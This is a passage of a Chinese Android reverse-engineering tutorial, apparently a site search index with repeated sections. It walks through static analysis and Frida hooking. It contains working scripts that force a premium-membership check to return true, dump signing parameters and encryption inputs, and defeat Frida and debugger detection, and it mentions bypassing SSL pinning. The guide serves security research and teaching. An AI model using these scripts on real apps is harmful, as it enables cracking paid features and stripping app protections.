\u003cintent-filter\u003e \u003cdata android:scheme=\"myapp\" android:host=\"open\"/\u003e \u003caction android:name=\"android.intent.action.VIEW\"/\u003e \u003ccategory android:name=\"android.intent.category.BROWSABLE\"/\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c/application\u003e 分析结论： 可通过 myapp://open URL 启动 调试和备份已禁用（安全配置良好） ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-3分析-androidmanifestxml"},{"categories":null,"collections":null,"content":"步骤 3：分析 AndroidManifest.xml # 查看已解码的 manifest cat target_unpacked/AndroidManifest.xml # 或使用工具美化 xmllint --format target_unpacked/AndroidManifest.xml 关键信息提取表： 信息项 位置 意义 包名 应用唯一标识 入口 Activity 带 LAUNCHER intent 应用启动入口 Application 类 自定义 Application（可能有初始化逻辑） 权限 推断功能（网络、存储、位置等） 调试标志 android:debuggable=\"true\" 可直接调试 备份标志 android:allowBackup=\"true\" 数据可导出 导出组件 android:exported=\"true\" 可被外部调用 URL Scheme 带 Deep link 入口点 ContentProvider 数据库接口 Service 后台服务 真实案例：分析腾讯乐固应用 💡 思路一句话: 先判断加固类型（看 lib 目录和 Application 入口）→ 脱壳获取原始 DEX → jadx 反编译分析业务逻辑 → Frida hook 验证关键方法。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#真实案例分析腾讯乐固应用"},{"categories":null,"collections":null,"content":"步骤 4：快速目录结构审查 # 查看 native 库 ls -lh target_unpacked/lib/*/ # 输出示例： # lib/arm64-v8a/libnative-lib.so (2.3 MB) ← Native 代码 # lib/arm64-v8a/libencrypt.so (450 KB) ← 可能是加密库 # lib/armeabi-v7a/libnative-lib.so # 查看资产文件 ls -lh target_unpacked/assets/ # 输出示例： # config.json ← 配置文件 # encrypted.dat ← 加密数据 # web/index.html ← H5 页面 # 统计 Smali 文件数量（估算代码规模） find target_unpacked/smali* -name \"*.smali\" | wc -l # 输出：8432 (约 8000+ 类) # 搜索可疑关键词 grep -r \"password\" target_unpacked/smali/ | head -n 10 grep -r \"encrypt\" target_unpacked/smali/ | head -n 10 阶段一产出： 技术栈识别（是否加壳、是否使用 native 代码） 潜在攻击面（导出组件、URL Scheme） 初步分析方向（应该深入哪里） ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-4快速目录结构审查"},{"categories":null,"collections":null,"content":"阶段二：静态分析（1-3 小时） 目标：通过反编译理解应用如何工作、算法和业务逻辑。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段二静态分析1-3-小时"},{"categories":null,"collections":null,"content":"步骤 1：使用 Jadx 反编译 # 启动 Jadx GUI jadx-gui target.apk # 或命令行模式 jadx -d target_decompiled target.apk 关键搜索词： “encrypt”、“decrypt”、“AES”、“DES” → 加密算法 “http”、“api”、“request” → 网络请求 “premium”、“vip”、“paid” → 会员检查 “signature”、“sign” → 签名算法 “root”、“frida”、“xposed” → 反检测 定位关键代码： 从入口 Activity 开始（MainActivity.onCreate()） 检查 Application 子类（Application.onCreate() - 初始化逻辑） 搜索字符串常量（右键 → “查找用法”） 分析网络请求（OkHttp、Retrofit、HttpURLConnection） 追踪用户输入处理（onClick 回调） 代码导航快捷键： Ctrl+H：查看类层次结构 Ctrl+F12：查看当前类的所有方法 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-1使用-jadx-反编译"},{"categories":null,"collections":null,"content":"步骤 2：识别代码模式 正常代码 // 可读的类名和方法名 public class LoginManager { private static final String API_URL = \"https://api.example.com/login\"; public boolean login(String username, String password) { String encryptedPassword = AESUtil.encrypt(password); return ApiClient.post(API_URL, username, encryptedPassword); } } 混淆代码 // ProGuard/R8 混淆 public class a { private static final String a = \"https://api.example.com/login\"; public boolean a(String str, String str2) { String b = b.a(str2); // 字符串常量通常会保留 return c.a(a, str, b); } } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-2识别代码模式"},{"categories":null,"collections":null,"content":"步骤 2：识别代码模式 正常代码 // 可读的类名和方法名 public class LoginManager { private static final String API_URL = \"https://api.example.com/login\"; public boolean login(String username, String password) { String encryptedPassword = AESUtil.encrypt(password); return ApiClient.post(API_URL, username, encryptedPassword); } } 混淆代码 // ProGuard/R8 混淆 public class a { private static final String a = \"https://api.example.com/login\"; public boolean a(String str, String str2) { String b = b.a(str2); // 字符串常量通常会保留 return c.a(a, str, b); } } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#正常代码"},{"categories":null,"collections":null,"content":"步骤 2：识别代码模式 正常代码 // 可读的类名和方法名 public class LoginManager { private static final String API_URL = \"https://api.example.com/login\"; public boolean login(String username, String password) { String encryptedPassword = AESUtil.encrypt(password); return ApiClient.post(API_URL, username, encryptedPassword); } } 混淆代码 // ProGuard/R8 混淆 public class a { private static final String a = \"https://api.example.com/login\"; public boolean a(String str, String str2) { String b = b.a(str2); // 字符串常量通常会保留 return c.a(a, str, b); } } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#混淆代码"},{"categories":null,"collections":null,"content":"步骤 3：分析 Native 库 如果应用包含 .so 文件，核心算法通常在这里实现。 方法 A：使用 IDA Pro 分析 # 1. 打开 SO 文件 ida64 target_unpacked/lib/arm64-v8a/libnative-lib.so # 2. 等待自动分析完成 # 3. 查看导出函数（Exports 窗口） # 查找 JNI 函数命名模式： # Java_com_example_app_NativeHelper_encrypt # Java_\u003c包名\u003e_\u003c类名\u003e_\u003c方法名\u003e # 4. 反编译关键函数（F5 反编译为伪代码） 方法 B：使用 Ghidra 分析 # 1. 启动 Ghidra ghidraRun # 2. 新建项目 → 导入文件 → 选择 .so 文件 # 3. 双击文件 → 自动分析 # 4. 窗口 → Symbol Tree → Exports # 查看导出函数列表 # 5. 双击函数 → 反编译（右侧面板显示 C 伪代码） 方法 C：快速命令行分析 # 查看导出函数 nm -D libnative-lib.so | grep Java # 输出示例： # 00012340 T Java_com_example_app_Crypto_encrypt # 00012680 T Java_com_example_app_Crypto_decrypt # 00012a00 T Java_com_example_app_Sign_generate # 搜索字符串（可能找到加密密钥） strings libnative-lib.so | grep -i \"key\\|secret\\|password\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-3分析-native-库"},{"categories":null,"collections":null,"content":"步骤 3：分析 Native 库 如果应用包含 .so 文件，核心算法通常在这里实现。 方法 A：使用 IDA Pro 分析 # 1. 打开 SO 文件 ida64 target_unpacked/lib/arm64-v8a/libnative-lib.so # 2. 等待自动分析完成 # 3. 查看导出函数（Exports 窗口） # 查找 JNI 函数命名模式： # Java_com_example_app_NativeHelper_encrypt # Java_\u003c包名\u003e_\u003c类名\u003e_\u003c方法名\u003e # 4. 反编译关键函数（F5 反编译为伪代码） 方法 B：使用 Ghidra 分析 # 1. 启动 Ghidra ghidraRun # 2. 新建项目 → 导入文件 → 选择 .so 文件 # 3. 双击文件 → 自动分析 # 4. 窗口 → Symbol Tree → Exports # 查看导出函数列表 # 5. 双击函数 → 反编译（右侧面板显示 C 伪代码） 方法 C：快速命令行分析 # 查看导出函数 nm -D libnative-lib.so | grep Java # 输出示例： # 00012340 T Java_com_example_app_Crypto_encrypt # 00012680 T Java_com_example_app_Crypto_decrypt # 00012a00 T Java_com_example_app_Sign_generate # 搜索字符串（可能找到加密密钥） strings libnative-lib.so | grep -i \"key\\|secret\\|password\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#方法-a使用-ida-pro-分析"},{"categories":null,"collections":null,"content":"步骤 3：分析 Native 库 如果应用包含 .so 文件，核心算法通常在这里实现。 方法 A：使用 IDA Pro 分析 # 1. 打开 SO 文件 ida64 target_unpacked/lib/arm64-v8a/libnative-lib.so # 2. 等待自动分析完成 # 3. 查看导出函数（Exports 窗口） # 查找 JNI 函数命名模式： # Java_com_example_app_NativeHelper_encrypt # Java_\u003c包名\u003e_\u003c类名\u003e_\u003c方法名\u003e # 4. 反编译关键函数（F5 反编译为伪代码） 方法 B：使用 Ghidra 分析 # 1. 启动 Ghidra ghidraRun # 2. 新建项目 → 导入文件 → 选择 .so 文件 # 3. 双击文件 → 自动分析 # 4. 窗口 → Symbol Tree → Exports # 查看导出函数列表 # 5. 双击函数 → 反编译（右侧面板显示 C 伪代码） 方法 C：快速命令行分析 # 查看导出函数 nm -D libnative-lib.so | grep Java # 输出示例： # 00012340 T Java_com_example_app_Crypto_encrypt # 00012680 T Java_com_example_app_Crypto_decrypt # 00012a00 T Java_com_example_app_Sign_generate # 搜索字符串（可能找到加密密钥） strings libnative-lib.so | grep -i \"key\\|secret\\|password\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#方法-b使用-ghidra-分析"},{"categories":null,"collections":null,"content":"步骤 3：分析 Native 库 如果应用包含 .so 文件，核心算法通常在这里实现。 方法 A：使用 IDA Pro 分析 # 1. 打开 SO 文件 ida64 target_unpacked/lib/arm64-v8a/libnative-lib.so # 2. 等待自动分析完成 # 3. 查看导出函数（Exports 窗口） # 查找 JNI 函数命名模式： # Java_com_example_app_NativeHelper_encrypt # Java_\u003c包名\u003e_\u003c类名\u003e_\u003c方法名\u003e # 4. 反编译关键函数（F5 反编译为伪代码） 方法 B：使用 Ghidra 分析 # 1. 启动 Ghidra ghidraRun # 2. 新建项目 → 导入文件 → 选择 .so 文件 # 3. 双击文件 → 自动分析 # 4. 窗口 → Symbol Tree → Exports # 查看导出函数列表 # 5. 双击函数 → 反编译（右侧面板显示 C 伪代码） 方法 C：快速命令行分析 # 查看导出函数 nm -D libnative-lib.so | grep Java # 输出示例： # 00012340 T Java_com_example_app_Crypto_encrypt # 00012680 T Java_com_example_app_Crypto_decrypt # 00012a00 T Java_com_example_app_Sign_generate # 搜索字符串（可能找到加密密钥） strings libnative-lib.so | grep -i \"key\\|secret\\|password\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#方法-c快速命令行分析"},{"categories":null,"collections":null,"content":"步骤 4：创建分析笔记 ## 分析目标 - 提取登录 API 签名算法 - 绕过 VIP 会员检查 - 获取加密密钥 ## 已定位的关键类/方法 1. `com.example.app.utils.SignUtil.generateSign(Map params)` - 签名生成 2. `com.example.app.user.UserManager.isPremium()` - 会员检查 3. Native: `Java_com_example_app_Crypto_encrypt` - 加密函数 ## Hook 策略 - Hook `generateSign()` 查看参数和返回值 - Hook `isPremium()` 强制返回 true - Hook native 函数获取加密密钥 ## 预期挑战 - 签名算法可能在 native 层 - 可能有 Frida 检测 - 网络请求可能有 SSL pinning ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-4创建分析笔记"},{"categories":null,"collections":null,"content":"阶段二产出 理解应用的核心功能和业务逻辑 定位关键类、方法和 native 函数 识别使用的加密/签名算法 确定动态分析的 hook 点清单 识别潜在的反调试/反 hook 机制 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:6:5","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段二产出"},{"categories":null,"collections":null,"content":"阶段三：动态分析（2-4 小时） 目标：在运行时观察实际行为，验证静态分析结论，绕过保护机制。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段三动态分析2-4-小时"},{"categories":null,"collections":null,"content":"步骤 1：设置 Frida 环境 # 1. 启动 Frida Server（在设备上） adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 验证连接（在 PC 上） frida-ps -U # 应该看到设备上运行的进程列表 # 3. 测试 hook frida -U -f com.example.app --no-pause # 进入交互式控制台 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-1设置-frida-环境"},{"categories":null,"collections":null,"content":"步骤 2：编写 Hook 脚本 基于静态分析结果，编写 Frida 脚本。 示例 1：Hook 会员检查 // hook_premium.js - 绕过 VIP 检查 Java.perform(function () { console.log(\"[+] 开始 hook 会员检查...\"); var UserManager = Java.use(\"com.example.app.user.UserManager\"); // Hook isPremium 方法 UserManager.isPremium.implementation = function () { console.log(\"[+] isPremium() 被调用\"); // 调用原始方法查看真实结果 var realResult = this.isPremium(); console.log(\" 真实返回值: \" + realResult); // 强制返回 true console.log(\" 修改返回值: true\"); return true; }; console.log(\"[+] Hook 完成\"); }); 示例 2：提取签名算法 // hook_sign.js - 提取签名算法 Java.perform(function () { var SignUtil = Java.use(\"com.example.app.utils.SignUtil\"); SignUtil.generateSign.implementation = function (params) { console.log(\"\\n[SIGN] generateSign() 被调用\"); console.log(\" 参数类型: \" + params.$className); // 如果是 Map，遍历打印 if (params.$className === \"java.util.HashMap\") { var HashMap = Java.use(\"java.util.HashMap\"); var entrySet = params.entrySet(); var iterator = entrySet.iterator(); console.log(\" 参数内容:\"); while (iterator.hasNext()) { var entry = iterator.next(); var key = entry.getKey(); var value = entry.getValue(); console.log(\" \" + key + \" = \" + value); } } // 调用原始方法 var result = this.generateSign(params); console.log(\" 签名结果: \" + result); console.log(\" 签名长度: \" + result.length); // 打印调用栈 console.log(\" 调用栈:\"); console.log( Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() ) ); return result; }; console.log(\"[+] 签名 hook 完成\"); }); 示例 3：Hook Native 函数 // hook_native.js - Hook native 加密函数 var encryptAddr = Module.findExportByName( \"libnative-lib.so\", \"Java_com_example_app_Crypto_encrypt\" ); if (encryptAddr) { console.log(\"[+] 找到 encrypt 函数: \" + encryptAddr); Interceptor.attach(encryptAddr, { onEnter: function (args) { console.log(\"\\n[NATIVE] encrypt() 被调用\"); console.log(\" JNIEnv*: \" + args[0]); console.log(\" jobject: \" + args[1]); // 第 3 个参数通常是 jstring（输入数据） try { var env = Java.vm.getEnv(); var inputStr = env.getStringUtfChars(args[2], null); var input = inputStr.readCString(); console.log(\" 输入: \" + input); env.releaseStringUtfChars(args[2], inputStr); } catch (e) { console.log(\" 输入: [无法读取]\"); } }, onLeave: function (retval) { // 返回值也是 jstring（密文） try { var env = Java.vm.getEnv(); var outputStr = env.getStringUtfChars(retval, null); var output = outputStr.readCString(); console.log(\" 输出: \" + output); env.releaseStringUtfChars(retval, outputStr); } catch (e) { console.log(\" 输出: \" + retval); } }, }); console.log(\"[+] Native hook 完成\"); } else { console.log(\"[-] 未找到 encrypt 函数\"); } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-2编写-hook-脚本"},{"categories":null,"collections":null,"content":"步骤 2：编写 Hook 脚本 基于静态分析结果，编写 Frida 脚本。 示例 1：Hook 会员检查 // hook_premium.js - 绕过 VIP 检查 Java.perform(function () { console.log(\"[+] 开始 hook 会员检查...\"); var UserManager = Java.use(\"com.example.app.user.UserManager\"); // Hook isPremium 方法 UserManager.isPremium.implementation = function () { console.log(\"[+] isPremium() 被调用\"); // 调用原始方法查看真实结果 var realResult = this.isPremium(); console.log(\" 真实返回值: \" + realResult); // 强制返回 true console.log(\" 修改返回值: true\"); return true; }; console.log(\"[+] Hook 完成\"); }); 示例 2：提取签名算法 // hook_sign.js - 提取签名算法 Java.perform(function () { var SignUtil = Java.use(\"com.example.app.utils.SignUtil\"); SignUtil.generateSign.implementation = function (params) { console.log(\"\\n[SIGN] generateSign() 被调用\"); console.log(\" 参数类型: \" + params.$className); // 如果是 Map，遍历打印 if (params.$className === \"java.util.HashMap\") { var HashMap = Java.use(\"java.util.HashMap\"); var entrySet = params.entrySet(); var iterator = entrySet.iterator(); console.log(\" 参数内容:\"); while (iterator.hasNext()) { var entry = iterator.next(); var key = entry.getKey(); var value = entry.getValue(); console.log(\" \" + key + \" = \" + value); } } // 调用原始方法 var result = this.generateSign(params); console.log(\" 签名结果: \" + result); console.log(\" 签名长度: \" + result.length); // 打印调用栈 console.log(\" 调用栈:\"); console.log( Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() ) ); return result; }; console.log(\"[+] 签名 hook 完成\"); }); 示例 3：Hook Native 函数 // hook_native.js - Hook native 加密函数 var encryptAddr = Module.findExportByName( \"libnative-lib.so\", \"Java_com_example_app_Crypto_encrypt\" ); if (encryptAddr) { console.log(\"[+] 找到 encrypt 函数: \" + encryptAddr); Interceptor.attach(encryptAddr, { onEnter: function (args) { console.log(\"\\n[NATIVE] encrypt() 被调用\"); console.log(\" JNIEnv*: \" + args[0]); console.log(\" jobject: \" + args[1]); // 第 3 个参数通常是 jstring（输入数据） try { var env = Java.vm.getEnv(); var inputStr = env.getStringUtfChars(args[2], null); var input = inputStr.readCString(); console.log(\" 输入: \" + input); env.releaseStringUtfChars(args[2], inputStr); } catch (e) { console.log(\" 输入: [无法读取]\"); } }, onLeave: function (retval) { // 返回值也是 jstring（密文） try { var env = Java.vm.getEnv(); var outputStr = env.getStringUtfChars(retval, null); var output = outputStr.readCString(); console.log(\" 输出: \" + output); env.releaseStringUtfChars(retval, outputStr); } catch (e) { console.log(\" 输出: \" + retval); } }, }); console.log(\"[+] Native hook 完成\"); } else { console.log(\"[-] 未找到 encrypt 函数\"); } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#示例-1hook-会员检查"},{"categories":null,"collections":null,"content":"步骤 2：编写 Hook 脚本 基于静态分析结果，编写 Frida 脚本。 示例 1：Hook 会员检查 // hook_premium.js - 绕过 VIP 检查 Java.perform(function () { console.log(\"[+] 开始 hook 会员检查...\"); var UserManager = Java.use(\"com.example.app.user.UserManager\"); // Hook isPremium 方法 UserManager.isPremium.implementation = function () { console.log(\"[+] isPremium() 被调用\"); // 调用原始方法查看真实结果 var realResult = this.isPremium(); console.log(\" 真实返回值: \" + realResult); // 强制返回 true console.log(\" 修改返回值: true\"); return true; }; console.log(\"[+] Hook 完成\"); }); 示例 2：提取签名算法 // hook_sign.js - 提取签名算法 Java.perform(function () { var SignUtil = Java.use(\"com.example.app.utils.SignUtil\"); SignUtil.generateSign.implementation = function (params) { console.log(\"\\n[SIGN] generateSign() 被调用\"); console.log(\" 参数类型: \" + params.$className); // 如果是 Map，遍历打印 if (params.$className === \"java.util.HashMap\") { var HashMap = Java.use(\"java.util.HashMap\"); var entrySet = params.entrySet(); var iterator = entrySet.iterator(); console.log(\" 参数内容:\"); while (iterator.hasNext()) { var entry = iterator.next(); var key = entry.getKey(); var value = entry.getValue(); console.log(\" \" + key + \" = \" + value); } } // 调用原始方法 var result = this.generateSign(params); console.log(\" 签名结果: \" + result); console.log(\" 签名长度: \" + result.length); // 打印调用栈 console.log(\" 调用栈:\"); console.log( Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() ) ); return result; }; console.log(\"[+] 签名 hook 完成\"); }); 示例 3：Hook Native 函数 // hook_native.js - Hook native 加密函数 var encryptAddr = Module.findExportByName( \"libnative-lib.so\", \"Java_com_example_app_Crypto_encrypt\" ); if (encryptAddr) { console.log(\"[+] 找到 encrypt 函数: \" + encryptAddr); Interceptor.attach(encryptAddr, { onEnter: function (args) { console.log(\"\\n[NATIVE] encrypt() 被调用\"); console.log(\" JNIEnv*: \" + args[0]); console.log(\" jobject: \" + args[1]); // 第 3 个参数通常是 jstring（输入数据） try { var env = Java.vm.getEnv(); var inputStr = env.getStringUtfChars(args[2], null); var input = inputStr.readCString(); console.log(\" 输入: \" + input); env.releaseStringUtfChars(args[2], inputStr); } catch (e) { console.log(\" 输入: [无法读取]\"); } }, onLeave: function (retval) { // 返回值也是 jstring（密文） try { var env = Java.vm.getEnv(); var outputStr = env.getStringUtfChars(retval, null); var output = outputStr.readCString(); console.log(\" 输出: \" + output); env.releaseStringUtfChars(retval, outputStr); } catch (e) { console.log(\" 输出: \" + retval); } }, }); console.log(\"[+] Native hook 完成\"); } else { console.log(\"[-] 未找到 encrypt 函数\"); } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#示例-2提取签名算法"},{"categories":null,"collections":null,"content":"步骤 2：编写 Hook 脚本 基于静态分析结果，编写 Frida 脚本。 示例 1：Hook 会员检查 // hook_premium.js - 绕过 VIP 检查 Java.perform(function () { console.log(\"[+] 开始 hook 会员检查...\"); var UserManager = Java.use(\"com.example.app.user.UserManager\"); // Hook isPremium 方法 UserManager.isPremium.implementation = function () { console.log(\"[+] isPremium() 被调用\"); // 调用原始方法查看真实结果 var realResult = this.isPremium(); console.log(\" 真实返回值: \" + realResult); // 强制返回 true console.log(\" 修改返回值: true\"); return true; }; console.log(\"[+] Hook 完成\"); }); 示例 2：提取签名算法 // hook_sign.js - 提取签名算法 Java.perform(function () { var SignUtil = Java.use(\"com.example.app.utils.SignUtil\"); SignUtil.generateSign.implementation = function (params) { console.log(\"\\n[SIGN] generateSign() 被调用\"); console.log(\" 参数类型: \" + params.$className); // 如果是 Map，遍历打印 if (params.$className === \"java.util.HashMap\") { var HashMap = Java.use(\"java.util.HashMap\"); var entrySet = params.entrySet(); var iterator = entrySet.iterator(); console.log(\" 参数内容:\"); while (iterator.hasNext()) { var entry = iterator.next(); var key = entry.getKey(); var value = entry.getValue(); console.log(\" \" + key + \" = \" + value); } } // 调用原始方法 var result = this.generateSign(params); console.log(\" 签名结果: \" + result); console.log(\" 签名长度: \" + result.length); // 打印调用栈 console.log(\" 调用栈:\"); console.log( Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() ) ); return result; }; console.log(\"[+] 签名 hook 完成\"); }); 示例 3：Hook Native 函数 // hook_native.js - Hook native 加密函数 var encryptAddr = Module.findExportByName( \"libnative-lib.so\", \"Java_com_example_app_Crypto_encrypt\" ); if (encryptAddr) { console.log(\"[+] 找到 encrypt 函数: \" + encryptAddr); Interceptor.attach(encryptAddr, { onEnter: function (args) { console.log(\"\\n[NATIVE] encrypt() 被调用\"); console.log(\" JNIEnv*: \" + args[0]); console.log(\" jobject: \" + args[1]); // 第 3 个参数通常是 jstring（输入数据） try { var env = Java.vm.getEnv(); var inputStr = env.getStringUtfChars(args[2], null); var input = inputStr.readCString(); console.log(\" 输入: \" + input); env.releaseStringUtfChars(args[2], inputStr); } catch (e) { console.log(\" 输入: [无法读取]\"); } }, onLeave: function (retval) { // 返回值也是 jstring（密文） try { var env = Java.vm.getEnv(); var outputStr = env.getStringUtfChars(retval, null); var output = outputStr.readCString(); console.log(\" 输出: \" + output); env.releaseStringUtfChars(retval, outputStr); } catch (e) { console.log(\" 输出: \" + retval); } }, }); console.log(\"[+] Native hook 完成\"); } else { console.log(\"[-] 未找到 encrypt 函数\"); } ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#示例-3hook-native-函数"},{"categories":null,"collections":null,"content":"步骤 3：绕过反调试检测 // bypass_all.js - 综合绕过脚本 Java.perform(function () { console.log(\"[+] 加载反检测模块...\"); // 1. 绕过 Frida 端口检测 var connect = Module.findExportByName(\"libc.so\", \"connect\"); Interceptor.attach(connect, { onEnter: function (args) { var sockaddr = ptr(args[1]); var port = (sockaddr.add(2).readU8() \u003c\u003c 8) | sockaddr.add(3).readU8(); if (port === 27042 || port === 27043) { console.log(\"[检测] 拦截了 Frida 端口扫描\"); sockaddr.add(2).writeU8(0xff); } }, }); // 2. 绕过 TracerPid 检测 var fgets = Module.findExportByName(\"libc.so\", \"fgets\"); Interceptor.attach(fgets, { onLeave: function (retval) { if (retval \u0026\u0026 !retval.isNull()) { var line = retval.readCString(); if (line \u0026\u0026 line.includes(\"TracerPid:\")) { retval.writeUtf8String(\"TracerPid:\\t0\\n\"); console.log(\"[检测] 修改 TracerPid 为 0\"); } } }, }); // 3. 绕过字符串检测 var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); Interceptor.attach(strstr, { onLeave: function (retval) { if (this.needle \u0026\u0026 this.needle.toLowerCase().includes(\"frida\")) { retval.replace(ptr(0)); console.log(\"[检测] 隐藏 Frida 字符串\"); } }, onEnter: function (args) { this.needle = args[1].readCString(); }, }); console.log(\"[+] 反检测模块加载完成\"); }); ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-3绕过反调试检测"},{"categories":null,"collections":null,"content":"步骤 4：运行分析 # 组合使用多个脚本 frida -U -f com.example.app \\ -l bypass_all.js \\ -l hook_premium.js \\ --no-pause ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-4运行分析"},{"categories":null,"collections":null,"content":"步骤 5：网络流量分析 # 1. 配置代理 adb shell settings put global http_proxy 192.168.1.100:8080 # 2. 启动应用并绕过 SSL pinning frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause # 3. 在 Burp Suite 中查看流量 Hook OkHttp 请求 // hook_okhttp.js Java.perform(function () { var RealInterceptorChain = Java.use( \"okhttp3.internal.http.RealInterceptorChain\" ); RealInterceptorChain.proceed.implementation = function (request) { console.log( \"\\n[HTTP] \" + request.method() + \" \" + request.url().toString() ); // 打印请求头 var headers = request.headers(); for (var i = 0; i \u003c headers.size(); i++) { console.log(\" \" + headers.name(i) + \": \" + headers.value(i)); } var response = this.proceed(request); console.log(\"[RESP] Code: \" + response.code()); return response; }; }); ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:5","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-5网络流量分析"},{"categories":null,"collections":null,"content":"步骤 5：网络流量分析 # 1. 配置代理 adb shell settings put global http_proxy 